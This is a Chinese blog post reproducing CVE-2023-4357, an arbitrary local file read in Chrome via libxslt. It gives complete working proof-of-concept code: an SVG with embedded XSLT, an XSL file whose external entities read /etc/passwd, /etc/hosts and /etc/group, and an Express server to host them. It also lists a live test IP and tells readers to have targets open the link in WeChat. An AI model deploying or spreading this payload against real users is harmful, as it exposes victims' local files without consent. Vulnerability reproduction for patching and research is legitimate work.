Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

1.漏洞描述

该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限

影响版本

Google Chrome < 116.0.5845.96

依赖Chromium内核的组件,如vscode、微信等。

2.漏洞复现

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

该测试 URL:http://188.68.220.248/js.svg

参考链接:https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

在这里插入图片描述

通过了解POC需要配置三个文件

1.test.svg文件内容

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?><xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000"><foreignObject id="myObj" width="1000" height="1000"><div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml"><a href="#">#Copy me#</a><br/>XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>document() <xsl:copy-of  select="document('test.xsl')"/></div></foreignObject></svg></xsl:template>
</xsl:stylesheet>

2.test.xsl文件内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]> <p><p style="border-style: dotted;">/etc/passwd: 
&passwd;</p><p style="border-style: dotted;">/etc/hosts:
&hosts;</p><p style="border-style: dotted;">/etc/group:
&group;</p>
</p>

3.server.js文件内容

const express = require('express');
const path = require('path');const app = express();
const port = 3000;app.get('/test.svg', (req, res) => {res.sendFile(path.join(__dirname, 'test.svg'));
});app.get('/test.xsl', (req, res) => {res.set('Access-Control-Allow-Origin', '*');res.sendFile(path.join(__dirname, 'test.xsl'));
});app.listen(port, () => {console.log(`Example app listening on port ${port}`);
});

将这三个文件放到服务器上,手机微信点击访问:

http://xxx.xxx.xxx.xxx/test.svg

在这里插入图片描述

可以看到复现成功,成功读取本地文件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/190671.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DM8:win10安装达梦数据库8版本

目录 1.下载 2.安装 3.创建数据库 3.1 创建数据库实例 3.2创建数据库模板 3.3 指定数据目录 3.4 数据库标识配置 3.5 安装openJDK 3.6 控制文件 3.7 数据文件 3.8 日志文件 3.9 初始化日志 3.10 数据库初始化参数 3.11 页校验算法-默认 3.12 字符集-utf8 3.13 …

string类的总结

目录 1.为什么要学习string类 2.string的标准库 3.string类的常用接口说明 1.string类对象的常见构造 2.string类对象的容量操作 3.string类对象的3种遍历方法 3.1 [ ] 下标 3.2 基于范围的for循环 3.3 迭代器 4 string类对象的元素访问 4.1 operator[]&#xff1a; 4.…

Unity之NetCode多人网络游戏联机对战教程(9)--NetworkAnimator组件

文章目录 前言NetworkAnimatorAnimator的Trigger属性服务器权威模式&#xff08;Server Authoritative Mode&#xff09;客户端权威模式 (Owner Authoritative Mode)学习文档 前言 这个组件是NetCode常用的组件之一&#xff0c;NetworkAnimator跟NetworkTransform一样&#xf…

redis实战篇03

附近的商户 我们利用Redis的GEOHash来完成对于地理坐标的操作 UV统计 主要是使用Redis来完成统计功能 用户签到 使用Redis的BitMap数据统计功能 好友关注 基于Set集合的关注、取消关注&#xff0c;共同关注等等功能&#xff0c;这一块知识咱们之前就讲过&#xff0c;这次…

第七部分:Maven(项目管理工具)

目录 Maven简介 7.1&#xff1a;为什么学习Maven&#xff1f; 7.1.1、Maven是一个依赖管理工具 7.1.2&#xff1a;Maven是一个构建工具 7.1.3&#xff1a;结论 7.2&#xff1a;Maven介绍 7.3&#xff1a;Maven的优点 Maven安装和配置 7.4&#xff1a;安装教程及环境配置 …

CAD Exchanger SDK 3.23.0 的亮点

代号“CAD Exchanger MTK”的新兴产品首次亮相&#xff0c;支持新版本的流行格式&#xff0c;重新设计的 BIM 模型结构以及 3.23.0 中的 SDK 文档修订 阅读最新版本编写的 Autodesk Inventor 和 NX 文件&#xff0c;享受更严格的 BIM 模型结构&#xff0c;轻松浏览 SDK 文档&am…

【广州华锐互动VRAR】VR元宇宙技术在气象卫星知识科普中的应用

随着科技的不断发展&#xff0c;虚拟现实&#xff08;VR&#xff09;和元宇宙等技术正逐渐走进我们的生活。这些技术为我们提供了一个全新的互动平台&#xff0c;使我们能够以更加直观和生动的方式了解和学习各种知识。在气象天文领域&#xff0c;VR元宇宙技术的应用也日益显现…

游戏工作中用到的一些第3方软件和作用

记录下平时工作中发现的一些好用的软件: Snipaste:截屏软件 最好用的功能就是可以将截的图留在屏幕上,用来做提醒或者对比. RenderDoc:图形调试器 图形图像开\分析和捕捉时要用到的强大工具,可以捕捉图形帧并分析和调试.涵盖Vulkan,D3D11,D3D12.OpenGL,OpenGL ES以及windows …

对话芯动科技 | 助力云游戏 4K级服务器显卡的探索与创新

2021年芯动科技推出了基于IMG BXT GPU IP的风华1号显卡。单块风华1号显卡可在台式机和云游戏中实现4K级别的性能&#xff0c;渲染能力达到5 TFLOPS&#xff0c;如果在服务器中同时运行两块显卡&#xff0c;性能还可翻倍。该显卡是为不断扩大的安卓云游戏市场量身定制的&#xf…

虹科示波器 | 汽车免拆检修 | 2015款奔驰G63AMG车发动机偶尔自动熄火

一、故障现象 一辆2015款奔驰G63AMG车&#xff0c;搭载157发动机&#xff0c;累计行驶里程约为9.4万km。车主反映&#xff0c;该车低速行驶时&#xff0c;发动机偶尔会自动熄火&#xff0c;故障大概1个星期出现1次。 二、故障诊断 接车后路试&#xff0c;故障未能再现。用故障检…

【Linux】 uptime命令使用

uptime 正常运行时间提供以下信息的单行显示。当前时间、系统运行的时间、当前登录的用户数量以及过去1、5和15分钟的系统平均负载。 语法 uptimeuptime命令 -Linux手册页 作者 由Larry Greenfield编写和迈克尔K约翰逊编写。 命令选项及作用 执行令 man uptime 执行命令结…

基于秃鹰算法优化概率神经网络PNN的分类预测 - 附代码

基于秃鹰算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于秃鹰算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于秃鹰优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…